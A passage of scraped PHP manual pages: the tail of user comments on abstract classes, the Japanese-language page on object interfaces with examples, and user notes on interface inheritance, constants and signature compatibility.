myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

*/
?>
jai at shaped dot ca 02-Mar-2017 05:36
An interface specifies what methods a class must implement, so that anything using that class that expects it to adhere to that interface will work.

eg: I expect any $database to have ->doQuery(), so any class I assign to the database interface should implement the databaseInterface interface which forces implementation of a doQuery method.

<?php
interface dbInterface {
    public function doQuery();
}

class myDB implements dbInterface {
    public function doQuery() {
      /* implementation details here */
    }
}

$myDBObj = new myDB()->doQuery();
?>

An abstract class is similar except that some methods can be predefined. Ones listed as abstract will have to be defined as if the abstract class were an interface.

eg. I expect my $person to be able to ->doWalk(), most people walk fine with two feet, but some people have to hop along :(

<?php
interface PersonInterface() {
    /* every person should walk, or attempt to */
    public function doWalk($place);
    /* every person should be able to age */
    public function doAge();
}

abstract class AveragePerson implements PersonInterface() {
    private $_age = 0;
    public function doAge() {
        $this->_age = $this->_age+1;
    }
    public function doWalk($place) {
        echo "I am going to walk to $place".PHP_EOL;
    }
    /* every person talks differently! */
    abstract function talk($say);
}

class Joe extends AveragePerson {
    public function talk($say) {
       echo "In an Austrailian accent, Joe says: $say".PHP_EOL;
    }
}

class Bob extends AveragePerson {
    public function talk($say) {
        echo "In a Canadian accent, Bob says: $say".PHP_EOL;
    }
    public function doWalk($place) {
        echo "Bob only has one leg and has to hop to $place".PHP_EOL;
    }
}

$people[] = new Bob();
$people[] = new Joe();

foreach ($people as $person) {
    $person->doWalk('over there');
    $person->talk('PHP rules');
}
?>
Eugeny at Kostanay dot KZ 12-Oct-2016 01:46
A snippet of code to help you understand a bit more about properties inside abstract classes:
<?php
abstract class anotherAbsClass
{
    // Define and set a static property
    static $stProp = 'qwerty';        // We can still use it directly by the static way
    // Define and set a protected property
    protected $prProp = 'walrus';
    // It is useless to set any other level of visibility for non-static variables of an abstract class.
    // We cannot access to a private property even inside a declared method of an abstract class because we cannot call that method in the object context.
    // Implementation of a common method
    protected function callMe() {
        echo 'On call: ' . $this->prProp . PHP_EOL;
    }
    // Declaration of some abstract methods
    abstract protected function abc($arg1, $arg2);
    abstract public function getJunk($arg1, $arg2, $arg3, $junkCollector = true);
    // Note: we cannot omit an optional value without getting error if it has already been declared by an abstract class
}

class someChildClass extends anotherAbsClass
{
    function __construct() {
        echo $this->callMe() . PHP_EOL;    // now we get the protected property $prProp inhereted from within the abstract class
    }
    // There must be implementation of the declared functions abc and getJunk below
    protected function abc($val1, $val) {
        // do something
    }
    function getJunk($val1, $val2, $val3, $b = false) {    // optional value is neccessary, because it has been declared above
        // do something
    }
}

echo anotherAbsClass::$stProp;    // qwerty
$objTest = new someChildClass;   // On call: walrus
?>
Malcolm 29-May-2016 01:26
I've found an inconsistency with: Example #2 Abstract class example

If you remove the default value of $separator

<?php
    public function prefixName($name, $separator) {
        // ...
    }
?>

Then php will show this fatal message:
Fatal error: Declaration of ConcreteClass::prefixName() must be compatible with AbstractClass::prefixName($name) in /index.php on line 23

Stange enough it gives an incorrect declaration of "ConcreteClass::prefixName()"... It is missing both arguments. Because of that I'm assuming that this is just a bug that maybe already has been taking care of in newer versions. (Or is just specific to my version) I'm mainly noting this because it was driving me absolutely insane in some test code that I was writing derived from Example #2 (without a default value for an extra argument). Perhaps this saves some frustrations to other people.

--
Please note that i'm running this on php5.5.
OS: ubuntu-16.04-server-amd64.iso
Repo: ppa:ondrej/php

# php5.5 --version
PHP 5.5.36-2+donate.sury.org~xenial+1 (cli)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
balbuf 24-Jan-2016 07:03
The abstract keyword cannot be used to dictate properties or class constants that a derivative class must set/define. Instead, those required properties or constants can be included in the abstract class with the expectation that they will be overridden in derivative classes, which at least ensures that the desired property/constant is set/defined.
rmoisto at gmail dot com 26-Sep-2015 03:26
The self keyword in an abstract class will refer to the abstract class itself, not the extending class no matter what.

For instance the following code looks really pretty, yet results in a Fatal error (Cannot instantiate abstract class Basic).

<?php
abstract class Basic {
    public static function doWork() {
        return (new self())->work();
    }

    abstract protected function work();
}

class Keeks extends Basic {
    protected function work() {
        return 'Keeks';
    }
}

echo Keeks::doWork();
?>
arma99eDAN at yahoo dot com 08-Apr-2015 08:10
You can use an abstract class like this too:

abstract class A{
    public function show(){
        echo 'A';
    }
}
class B extends A{
    public function hello(){
        echo 'B';
        parent::show();
    }
}

$obj = new B;
$obj->hello(); // BA
# See that the abstract class does not have at least one abstract method
# Even in this case, I'm still able to extend it, or call its non-abstract member
aloydev2586 at gmail dot com 25-Sep-2014 09:33
Just in case you are confused about function arguments:

/*************Example 1********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string = ' is an integer!!!')
     {
          echo $new_number . $string;
     }
}
$var = new subclass();
$var->my_function(1024); //this will output: 1024 is an integer!!!

/*************Example 2********************/
abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
    //now $string = ' is a float!!!'
     public function my_function($new_number, $string = ' is a float!!!')
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//added ' is an integer'
$var->my_function(1024, ' is an integer!!!'); //this will output: 1024 is an integer!!!, rewrote $string.

/*************Example 3********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     //now $string isn't initialized
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}

$var = new subclass();
$var->my_function(1024, ' is an integer!!!'); /*this will trigger a fatal error of incompatibility between subclass::my_function() and my_class::my_function($number)*/

/*************Example 4********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//no second argument, no matter
$var->my_function(1024);//fatal error  too. Optional arguments have to be initialized in the extending class function.
sam at righthandedmonkey dot com 11-Sep-2014 03:43
Please note order or positioning of the classes in your code can affect the interpreter and can cause a Fatal error: Class 'YourClass' not found if there are multiple levels of abstraction out of order.  For example:
<?php
abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this outputs:
Wood

However, if you put the cart before the abstract horse (literally):

<?php
class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this throws an error:
Fatal error: Class 'horse' not found

So, when using multiple levels of abstraction, be careful of the positioning of the classes within the source code - and don't put the cart before the abstract horse.
nikola at petkanski dot com 10-Feb-2014 06:33
Invoking static method of abstract class should be removed.

What interfaces are?
- A mean to ensure all implementation have the same methods implemented.

What is an abstract class?
- It is a interface that can also include some concrete methods.

Is it right for the developer to be able to invoke a static method of an interface?
- I think not.

The GoF teach us to rely on abstract classes and interfaces to hide differences between subclasses from clients.
- Interface defines an object's use (protocol)
- Implementation defines particular policy

I don't think one should be able to call some abstract logic that is defined inside an abstract class, without even inheriting the class itself.
oliver at ananit dot de 27-Nov-2011 08:07
Abstract classes may have an final constructor, and sometime it makes sense to implement a class with a final constructor.

<?php
abstract class AbstractModel
{
    //our models must use the default constuctor
        public final function __construct(){}
    public function inject($array){
        foreach(array_keys(get_class_vars(get_called_class()))  as $property){
            $this->$property = $array[$property];
        }
    }
}

class ProductModel extends AbstractModel
{
    public $name;
    public $price;
    protected $id;

    public function getId(){return $this->id;}
}

class Factory{
    private $dataSource;
    public function __consruct($dataSource){
        $this->dataSource = $dataSource;
    }

    public function get($class, $table, $filter, $orderby, $limit){
        $result = array();
        foreach($datasource->fetchAssoc($table, $filter, $orderby, $limit) as $rawData){
            $obj = new $class();//this can only work if ALL models have a default constructor
            $obj->inject($rawData);
            $result[] = $obj;
        }
        return $result;
    }
}
?>

Note: This is a very simple example, and I am aware that there are other (better) ways to do this.
Oliver Anan
joelhy 31-May-2011 07:27
The documentation says: "It is not allowed to create an instance of a class that has been defined as abstract.". It only means you cannot initialize an object from an abstract class. Invoking static method of abstract class is still feasible. For example:
<?php
abstract class Foo
{
    static function bar()
    {
        echo "test\n";
    }
}

Foo::bar();
?>
a dot tsiaparas at watergate dot gr 26-Mar-2011 03:57
Abstraction and interfaces are two very different tools. The are as close as hammers and drills. Abstract classes may have implemented methods, whereas interfaces have no implementation in themselves.

Abstract classes that declare all their methods as abstract are not interfaces with different names. One can implement multiple interfaces, but not extend multiple classes (or abstract classes).

The use of abstraction vs interfaces is problem specific and the choice is made during the design of software, not its implementation. In the same project you may as well offer an interface and a base (probably abstract) class as a reference that implements the interface. Why would you do that?

Let us assume that we want to build a system that calls different services, which in turn have actions. Normally, we could offer a method called execute that accepts the name of the action as a parameter and executes the action.

We want to make sure that classes can actually define their own ways of executing actions. So we create an interface IService that has the execute method. Well, in most of your cases, you will be copying and pasting the exact same code for execute.

We can create a reference implemention for a class named Service and implement the execute method. So, no more copying and pasting for your other classes! But what if you want to extend MySLLi?? You can implement the interface (copy-paste probably), and there you are, again with a service. Abstraction can be included in the class for initialisation code, which cannot be predefined for every class that you will write.

Hope this is not too mind-boggling and helps someone. Cheers,
Alexios Tsiaparas
designbyjeeba at gmail dot com 26-Dec-2010 06:29
Please be aware of the visibility of the parent fields. If the fields are private, then you are not going to see those fields in their childrens. Its basic OOP, but can be problematic sometimes.
bishop 28-Jul-2010 10:36
Incidentally, abstract classes do not need to be base classes:

<?php
class Foo {
    public function sneeze() { echo 'achoooo'; }
}

abstract class Bar extends Foo {
    public abstract function hiccup();
}

class Baz extends Bar {
    public function hiccup() { echo 'hiccup!'; }
}

$baz = new Baz();
$baz->sneeze();
$baz->hiccup();
?>
mbajoras at gmail dot com 31-Dec-2009 11:59
Here's an example that helped me with understanding abstract classes. It's just a very simple way of explaining it (in my opinion). Lets say we have the following code:

<?php
class Fruit {
    private $color;

    public function eat() {
        //chew
    }

    public function setColor($c) {
        $this->color = $c;
    }
}

class Apple extends Fruit {
    public function eat() {
        //chew until core
    }
}

class Orange extends Fruit {
    public function eat() {
        //peel
        //chew
    }
}
?>

Now I give you an apple and you eat it.

<?php
$apple = new Apple();
$apple->eat();
?>

What does it taste like? It tastes like an apple. Now I give you a fruit.

<?php
$fruit = new Fruit();
$fruit->eat();
?>

What does that taste like??? Well, it doesn't make much sense, so you shouldn't be able to do that. This is accomplished by making the Fruit class abstract as well as the eat method inside of it.

<?php
abstract class Fruit {
    private $color;

    abstract public function eat();

    public function setColor($c) {
        $this->color = $c;
    }
}
?>

Now just think about a Database class where MySQL and PostgreSQL extend it. Also, a note. An abstract class is just like an interface, but you can define methods in an abstract class whereas in an interface they are all abstract.
nathan dot vorbei dot tech at gmail dot com 16-Nov-2009 10:55
"additionally, these methods must be defined with the same (or a less restricted) visibility."

The words were not restricted in abstract class but also normal classes,
the method in child Class which overwrites the parent Class can also change the the visibility of the method to same or less restricted.
for example:
<?php
class ClassOne {
    protected static $staticone = 'nathan';
    protected function changestaticone() {
        return self::$staticone = 'john';
    }
}

class ClassTwo extends ClassOne {
    public function changestaticone() {
        return self::$staticone = 'Alexey';
    }
}
$classtwo = new ClassTwo();
echo $classtwo->changestaticone();
pete at surfaceeffect dot com 13-Oct-2009 02:49
One fairly important difference between php's abstract functions and, say, Java, is that php does not specify the return type in any way - or indeed whether there has to be one.

<?php public abstract function square($number); ?>

could be implemented by...

<?php
public function square($number) {
   return $number*$number;
}
?>

or

<?php
public function square($number) {
   print ($number*$number);
}
?>

So you need to take care that incompatibilities don't arise due to not returning the right kind of value and this is not enforced in any way.
Cheese Doodle 22-Sep-2009 04:13
There isn't really that much of a great hurdle in understanding these things, there really isn't.

If you're defining a new class that is abstract, it means that you can make some non-abstract functions that you can use to define the general underlying behavior of that class along side abstract ones.

In interfaces, you can't do that since functions defined therewithin cannot have a body.

Abstract functions you use for classes that must define more specific behavior when "extending" your class.

So for a crude example - define by your non-abstract functions how that particular object (which may be part of a larger class hierarchy) would store and process it's data in SQL, XML, etc.

Then define abstract functions which allow someone implementing that class to specifically manipulate the data that is to be stored. Then require a format which this data must be returned in, and then in your non-abstract functions call those functions on destruction, in normal runtime, and so on.

Again, non-abstract functions, or even another class could implement the finer points of ensuring that data is in the correct format, and so on, ad infinitum.

It isn't too much of a reach to say that if you used a normal class instead of an abstract class, then there isn't much intrinsic requirement between the two classes.

Assuming that you wanted the functions to use each-others functions and you'd need to use them specifically by name, you'd have to write some code which checked to see -- lamely using function_exists() and other lamery -- if that class has the function you require for interoperability, when you could avoid all possible confusion and headaches by simply using the right tool for the job.

And reading a decent OOP book.
eeescalona 02-Jun-2008 09:04
here is a real world example of abstract using:

a (abstract) person class
a student and an employee final class, which extends person class.

simple theory is that both student and employee is an extension of the person class.  the difference lies on which table the data is written on, and what other pre processing (ie mandatory field checking, type checking, etc.) needed before writing each of the classes.

codes:

<?php

abstract class person {

    abstract protected function write_info();

    public $LastName;
    public $FirstName;
    public $BirthDate;

    public function get_Age($today=NULL){
        //age computation function
    }
}

final class employee extends person{
    public $EmployeeNumber;
    public $DateHired;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to emloyee dbase table";
        //ADD unique mandatory checking unique to EMPLOYEE ONLY
        //actual sql codes here
    }
}

final class student extends person{
    public $StudentNumber;
    public $CourseName;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to student dbase table";
        //ADD unique mandatory checking unique to STUDENT ONLY
        //actual sql codes here
    }
}

///----------
$personA = new employee;
$personB = new student;

$personA->FirstName="Joe";
$personA->LastName="Sbody";

$personB->FirstName="Ben";
$personB->LastName="Dover";

$personA->write_info();
?>

OUTPUT:Writing Sbody's info to emloyee dbase table
ironiridis at gmail dot com 27-Mar-2008 01:56
Just one more time, in the simplest terms possible:

An Interface is like a protocol. It doesn't designate the behavior of the object; it designates how your code tells that object to act. An interface would be like the English Language: defining an interface defines how your code communicates with any object implementing that interface.

An interface is always an agreement or a promise. When a class says "I implement interface Y", it is saying "I promise to have the same public methods that any object with interface Y has".

On the other hand, an Abstract Class is like a partially built class. It is much like a document with blanks to fill in. It might be using English, but that isn't as important as the fact that some of the document is already written.

An abstract class is the foundation for another object. When a class says "I extend abstract class Y", it is saying "I use some methods or properties already defined in this other class named Y".

So, consider the following PHP:
<?php
class X implements Y { } // this is saying that "X" agrees to speak language "Y" with your code.

class X extends Y { } // this is saying that "X" is going to complete the partial class "Y".
?>

You would have your class implement a particular interface if you were distributing a class to be used by other people. The interface is an agreement to have a specific set of public methods for your class.

You would have your class extend an abstract class if you (or someone else) wrote a class that already had some methods written that you want to use in your new class.

These concepts, while easy to confuse, are specifically different and distinct. For all intents and purposes, if you're the only user of any of your classes, you don't need to implement interfaces.
sneakyimp at hotmail dot com 09-Oct-2007 05:05
Ok...the docs are a bit vague when it comes to an abstract class extending another abstract class.  An abstract class that extends another abstract class doesn't need to define the abstract methods from the parent class.  In other words, this causes an error:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
  abstract public function someFunc();
}
?>

Error: Fatal error: Can't inherit abstract function class1::someFunc() (previously declared abstract in class2) in /home/sneakyimp/public/chump.php on line 7

However this does not:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
}
?>

An abstract class that extends an abstract class can pass the buck to its child classes when it comes to implementing the abstract methods of its parent abstract class.
joebert 24-Jun-2007 04:09
I don't agree with jfkallens' last comparison between Abstract Classes & Object Interfaces completely.

In an Abstract Class, you can define how some methods work, where as in an Object Interface you can not.

An Object Interface is essentually nothing but a list of function names that a class must define if the class implements that interface.

An Abstract Class is essentually a prototype which hints towards what extending classes should be doing.
An Abstract Class can also be thought of as a Base Class that provides some basic functionality, & also defines a built-in Object Interface that all extending classes will implement.

So, an Object Interface is really a built-in part of an Abstract Class.


オブジェクト インターフェイス

オブジェクトインターフェイスにより、あるクラスが実装する必要があるメソッドの 種類を、これらのメソッドの実装を定義することなく、指定するコードを作成できる ようになります。

インターフェイスは通常のクラスと同様に定義することができますが、 キーワード class のかわりに interface を用います。またメソッドの実装は全く定義されません。

インターフェイス内で宣言される全てのメソッドはpublicである必要があります。 これは、インターフェイスの特性によります。

注意:

コンストラクタ のような マジックメソッド をインターフェイスで宣言できることに注意して下さい。 これはたとえばファクトリで使う場合など、コンテクストによっては役に立ちます。

implements

インターフェイスを実装するには、implements 演算子を使用し、 このインターフェイスに含まれる全てのメソッドを実装する必要があります。 実装されていない場合、致命的エラーとなります。 各インターフェイスをカンマで区切って指定することで、 クラスは複数のインターフェイスを実装することができます。

警告

クラスは、同じ名前のメソッドを定義した2つのインターフェイスを実装することが出来ます。 但し、両方のインターフェイスのメソッド宣言が同一な場合に限ります。

注意:

クラスと同様、インターフェイスも extends 演算子で継承することができます。

注意:

インターフェイスを実装したクラスでは、 シグネチャの互換性に関するルール を守った形でメソッドを宣言しなければいけません。

定数

インターフェイスに定数を持たせることもできます。 インターフェイス定数は クラス定数 とまったく同じように動作します。しかし、 そのインターフェイスを継承したクラスやインターフェイスから上書きすることはできません。

例

例1 Interface の例

<?php

// インターフェイス 'iTemplate' を宣言する
interface iTemplate
{
    public function setVariable($name, $var);
    public function getHtml($template);
}

// インターフェイスを実装する。
// これは動作します。
class Template implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }

    public function getHtml($template)
    {
        foreach($this->vars as $name => $value) {
            $template = str_replace('{' . $name . '}', $value, $template);
        }

        return $template;
    }
}

// これは動作しません。
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (iTemplate::getHtml)
class BadTemplate implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }
}
?>

例2 インターフェイスの継承

<?php
interface a
{
    public function foo();
}

interface b extends a
{
    public function baz(Baz $baz);
}

// これは動作します
class c implements b
{
    public function foo()
    {
    }

    public function baz(Baz $baz)
    {
    }
}

// これは動作せず、fatal error となります
class d implements b
{
    public function foo()
    {
    }

    public function baz(Foo $foo)
    {
    }
}
?>

例3 複数のインターフェイスの継承

<?php
interface a
{
    public function foo();
}

interface b
{
    public function bar();
}

interface c extends a, b
{
    public function baz();
}

class d implements c
{
    public function foo()
    {
    }

    public function bar()
    {
    }

    public function baz()
    {
    }
}
?>

例4 インターフェイスでの定数

<?php
interface a
{
    const b = 'Interface constant';
}

// Interface constant と表示します
echo a::b;

// しかし、これは動作しません。定数のオーバーライドが
// できないからです。
class b implements a
{
    const b = 'Class constant';
}
?>

インターフェイスと型宣言を組み合わせると、 特定のオブジェクトに特定のメソッドをうまく持たせることができます。 instanceof 演算子および 型宣言 を参照ください。

User Contributed Notes

xedin dot unknown at gmail dot com 09-Mar-2021 09:44
This page says that if extending multiple interfaces with the same methods, the signature must be compatible. But this is not all there is to it: the order of `extends` matters. This is a known issue, and while it is disputable whether or not it is a bug, one should be aware of it, and code interfaces with this in mind.

https://bugs.php.net/bug.php?id=67270
https://bugs.php.net/bug.php?id=76361
https://bugs.php.net/bug.php?id=80785
fakhar_anwar123 at hotmail dot com 06-Feb-2021 09:10
To conform to Interface Segregation Principle in (SOLID), PHP must allow to assign Object of Class into specific Interface variable.

For example, if i want to segregate (expose) the functionality of a class into two different interfaces (the class implements two different interfaces), and from client-code i want to use specific interface to access specific function implemented by the class then i must be able to get only that specific interface context (of the class) in interface variable

See P-15 and after taht p-13 in the link below. That is a very powerful and basic feature (Interface Segregation Principle)
https://www.codeproject.com/Articles/18743/Interfaces-in-C-For-Beginners
naderi dot payam at gmail dot com 15-Oct-2015 07:57
<?php
    interface ClassThatCanBuild
    { }

    interface SpecificClass extends \ClassThatCanBuild
    { }

    Class MySpecificClass implements \SpecificClass
    { }

    interface BuilderInterface
    {
        function build(\ClassThatCanBuild $container);

        function weCanHaveMethods();
    }

    interface SpecificBuilderInterface extends \BuilderInterface
    {
        /**
         * (!!) this class want to allow just for build
         *      specific classes.
         *      i`m still on the rule with MySpecificClass
         *      because extend from ClassThatCanBuild
         *      but php don`t allow it at all
         *
         *      "" declaration of must be compatible with
         *         interface of BuilderInterface->build ""
         *
         * @param \MySpecificClass $container
         */
        function build(\MySpecificClass $container);
    }
?>
naderi dot payam at gmail dot com 19-Sep-2015 12:44
php inheritance interfaces on function/methods type declarations:

<?php
interface iInvokable {
        function __invoke($arg = null);
    }

    interface iResponder extends iInvokable {
        /** Bind next responder */
        function then(iInvokable $responder);
    }

    class Responder implements \iResponder {

        function __invoke($arg = null)
        {
            // TODO: Implement __invoke() method.
        }

        /** Bind next responder */
        function then(iInvokable $responder)
        {
            // TODO: Implement then() method.
        }
    }

    class OtherResponder implements \iResponder {

        function __invoke($arg = null)
        {
            // TODO: Implement __invoke() method.
        }

        /** Bind next responder */
        function then(iInvokable $responder)
        {
            // TODO: Implement then() method.
        }
    }

    class Invokable implements \iInvokable {

        function __invoke($arg = null)
        {
            // TODO: Implement __invoke() method.
        }
    }

    $responder = new Responder();
    $responder->then(new OtherResponder());
    $responder->then(new Invokable());
?>
aditycse at gmail dot com 21-Jul-2015 05:50
Solution for overriding interface constants
//we can override interface constants by using  abstract class
//if Test Class implements inter1 than we can not override inter1 interface constants
example:

<?php

interface inter1 {

    const interface1 = "I am from interface 1";

    function foo1();

    function bar1();
}

interface inter2 extends inter1 {

    function foo2();

    function bar2();
}

interface inter3 {

    function foo3();

    function bar3();
}

interface inter4 {

    function foo4();

    function bar4();
}

abstract class AbsClass implements inter2 {

}

class Test extends AbsClass implements inter3, inter4 {

    const interface1 = "I am from test class";

    public function foo1() {

    }

    public function foo2() {

    }

    public function foo3() {

    }

    public function foo4() {

    }

    public function bar1() {

    }

    public function bar2() {

    }

    public function bar3() {

    }

    public function bar4() {

    }

    public function display() {
        echo inter1::interface1;
        echo PHP_EOL;
        echo Test::interface1;
    }

}

$Obj = new Test();
$Obj->display(); //I am from interface 1 \n I am from test class
koalay at gmail dot com 27-Nov-2014 04:37
Just wrote some examples of duck-typing in PHP. Sharing here.

<?php

/**
 * An example of duck typing in PHP
 */

interface CanFly {
  public function fly();
}

interface CanSwim {
  public function swim();
}

class Bird {
  public function info() {
    echo "I am a {$this->name}\n";
    echo "I am an bird\n";
  }
}

/**
 * some implementations of birds
 */
class Dove extends Bird implements CanFly {
  var $name = "Dove";
  public function fly() {
    echo "I fly\n";
  }
}

class Penguin extends Bird implements CanSwim {
  var $name = "Penguin";
  public function swim() {
    echo "I swim\n";
  }
}

class Duck extends Bird implements CanFly, CanSwim {
  var $name = "Duck";
  public function fly() {
    echo "I fly\n";
  }
  public function swim() {
    echo "I swim\n";
  }
}

/**
 * a simple function to describe a bird
 */
function describe($bird) {
  if ($bird instanceof Bird) {
    $bird->info();
    if ($bird instanceof CanFly) {
      $bird->fly();
    }
    if ($bird instanceof CanSwim) {
      $bird->swim();
    }
  } else {
    die("This is not a bird. I cannot describe it.");
  }
}

// describe these birds please
describe(new Penguin);
echo "---\n";

describe(new Dove);
echo "---\n";

describe(new Duck);
marcoshoya at gmail dot com 31-Aug-2014 08:48
You can change some methods signature from interface if you pass parameters with default values. For instance:

<?php

interface Foo {
  public function foo($foo);
}

class Bar implements Foo {
  public function foo($foo, $bar = null) {
    return $foo . $bar;
  }
}

$bar = new Bar();
// output: worksfine
echo $bar->foo('works', 'fine');
williebegoode at att dot net 10-Aug-2014 10:42
In their book on Design Patterns, Erich Gamma and his associates (AKA: "The Gang of Four") use the term "interface" and "abstract class" interchangeably. In working with PHP and design patterns, the interface, while clearly a "contract" of what to include in an implementation is also a helpful guide for both re-use and making changes. As long as the implemented changes follow the interface (whether it is an interface or abstract class with abstract methods), large complex programs can be safely updated without having to re-code an entire program or module.

In PHP coding with object interfaces (as a keyword) and "interfaces" in the more general context of use that includes both object interfaces and abstract classes, the purpose of "loose binding" (loosely bound objects) for ease of change and re-use is a helpful way to think about both uses of the  term "interface." The focus shifts from "contractual" to "loose binding" for the purpose of cooperative development and re-use.
thomas tulinsky 25-Jun-2014 09:37
to dlovell2011 at yahoo dot com wrote:
It seems like many contributors are missing the point of using an INTERFACE. An INTERFACE is not specifically provided for abstraction.
...
An INTERFACE is provided so you can describe a set of functions and then hide the final implementation of those functions in an implementing class. This allows you to change the IMPLEMENTATION of those functions without changing how you use it.
--------------
I believe the unique thing that Interfaces provide is to support the same functions in different classes that are **not descended from a common ancestor**.
Different implementations of the same functions does not need interfaces--it can be achieved through subclasses.
Vasiliy Makogon 06-Feb-2014 11:38
The class implementing the interface must use the exact same method signatures as are defined in the interface. Not doing so will result in a fatal error. -- this documentation page.

But, if you use default values in arguments in methods, fatal error is not follow:

<?php
interface myInterface {
    public function __construct();
}

class concret implements myInterface {

    public function __construct($arg=null)
    {
        print_r(func_get_args());
    }
}

$obj = new concret(123);
?>

Array ( [0] => 123 )
tkostantinov 02-Dec-2013 10:58
Implementation must be strict, subtypes are not allowed.

"The class implementing the interface must use the EXACT SAME METHOD SIGNATURES as are defined in the interface. Not doing so will result in a fatal error. "

<?php

interface I
{
  function foo(stdClass $arg);
}

class Test extends stdClass
{
}

class Implementation implements I
{
  function foo(Test $arg)
    {
    }
}
?>
Result:

Fatal error: Declaration of InterfaceImplementation::foo() must be compatible with I::foo(stdClass $arg) in test.php on line XY
Vladimir Kornea 15-Jul-2013 10:55
By asking your colleague to implement your interface, you are asking him to guarantee that he has implemented all the methods you need. He can implement multiple interfaces, each being a contract, so that the guy cleaning the cruft down the road can see which methods belong to which area of concern; but since interfaces are primarily contracts rather than documentation, a class cannot implement two interfaces containing the same method since that would make the contract lose credibility through ambiguity. Thus a class can implement two interfaces with overlapping concerns only by factoring their common methods into a third interface that serves as a base for the first two, which resolves the contractual ambiguity.
Vladimir Kornea 26-Jun-2013 07:34
By asking your colleague to implement your interface, you are asking him to guarantee that he has implemented all the methods you need. He can implement multiple interfaces, each being a contract, so that the guy cleaning up the cruft down the road can see which methods belong to which area of concern; but since interfaces are primarily contracts rather than documentation, a class cannot implement two interfaces containing the same method since that would make the contract lose credibility through ambiguity. Thus a class can implement two interfaces with overlapping concerns only by factoring their common methods into a third interface that serves as a base for the first two, which resolves the contractual ambiguity.
dlovell2001 at yahoo dot com 03-Feb-2012 10:40
It seems like many contributors are missing the point of using an INTERFACE. An INTERFACE is not specifically provided for abstraction. That's what a CLASS is used for. Most examples in this article of interfaces could be achieved just as easily using just classes alone.

An INTERFACE is provided so you can describe a set of functions and then hide the final implementation of those functions in an implementing class. This allows you to change the IMPLEMENTATION of those functions without changing how you use it.

For example: I have a database. I want to write a class that accesses the data in my database. I define an interface like this:

interface Database {
function listOrders();
function addOrder();
function removeOrder();
...
}

Then let's say we start out using a MySQL database. So we write a class to access the MySQL database:

class MySqlDatabase implements Database {
function listOrders() {...
}
we write these methods as needed to get to the MySQL database tables. Then you can write your controller to use the interface as such:

$database = new MySqlDatabase();
foreach ($database->listOrders() as $order) {

Then let's say we decide to migrate to an Oracle database. We could write another class to get to the Oracle database as such:

class OracleDatabase implements Database {
public function listOrders() {...
}

Then - to switch our application to use the Oracle database instead of the MySQL database we only have to change ONE LINE of code:

$database = new OracleDatabase();

all other lines of code, such as:

foreach ($database->listOrders() as $order) {

will remain unchanged. The point is - the INTERFACE describes the methods that we need to access our database. It does NOT describe in any way HOW we achieve that. That's what the IMPLEMENTing class does. We can IMPLEMENT this interface as many times as we need in as many different ways as we need. We can then switch between implementations of the interface without impact to our code because the interface defines how we will use it regardless of how it actually works.
julien arobase fastre point info 12-Dec-2011 11:12
If you use namespaces and autoloading, do not forget to mention the use statement for each class used in yours arguments, before your class:

<?php
#file : fruit/squeezable.php
namespace fruit
use Bar\Foo;

interface squeezable {
  public function squeeze (Foo $foo);
}
?>

<?php
#file: orange

namespace fruit\citrus;

class orange {
  public function squeeze(Foo $foo);
}
#Will throw an exception Fatal error: Declaration of "fruit\citrus\orange::squeeze must be compatible with that of fruit\squeezable() in fruit/squeezable.php
?>

<?php
#file: orange

namespace fruit\citrus;
use Bar\Foo; #DO NOT FORGET THIS!

class orange {
  public function squeeze (Foo $foo);
}
#Will be correct
?>
thanhn2001 at gmail dot com 03-Mar-2011 01:37
PHP prevents interface a contant to be overridden by a class/interface that DIRECTLY inherits it.  However, further inheritance allows it.  That means that interface constants are not final as mentioned in a previous comment.  Is this a bug or a feature?

<?php

interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

class b implements a
{
}

// This works!!!
class c extends b
{
    const b = 'Class constant';
}

echo c::b;
?>
jballard at natoga dot com 06-Jan-2011 01:33
If it isn't already obvious, you can create an object of a class above the class declaration if it does NOT implement an interface. However, when a class DOES implement an interface, PHP will throw a "class not found" error unless the instantiation declaration is _below_ the class definition.

<?php
$bar = new foo(); // Valid

class foo
{

}
?>

<?php
$bar = new foo(); // Invalid - throws fatal error

interface foo2
{

}

class bar implements foo2
{

}

$bar = new foo(); // Valid, since it is below the class declaration

?>

Also, @Jeffrey -- Lol? What? Is that a joke? PHP interfaces have nothing to do with connecting to "peripheral devices" or "cameras", etc. Not even in the least sense. This is a very common miscommunication with the word "interface", as interfaces in programming are not at all like interfaces in electronics or drivers, etc.
Anonymous 13-Aug-2010 12:44
If you want to ensure implementation classes are correctly initialised (i.e. due to trickery one needs to do to work around lack of multiple inheritance), simply add  __construct() to your interface, so risk of init being forgotten is reduced.
drieick at hotmail dot com 23-Feb-2010 09:29
I was wondering if implementing interfaces will take into account inheritance. That is, can inherited methods be used to follow an interface's structure?

<?php

interface Auxiliary_Platform {
    public function Weapon();
    public function Health();
    public function Shields();
}

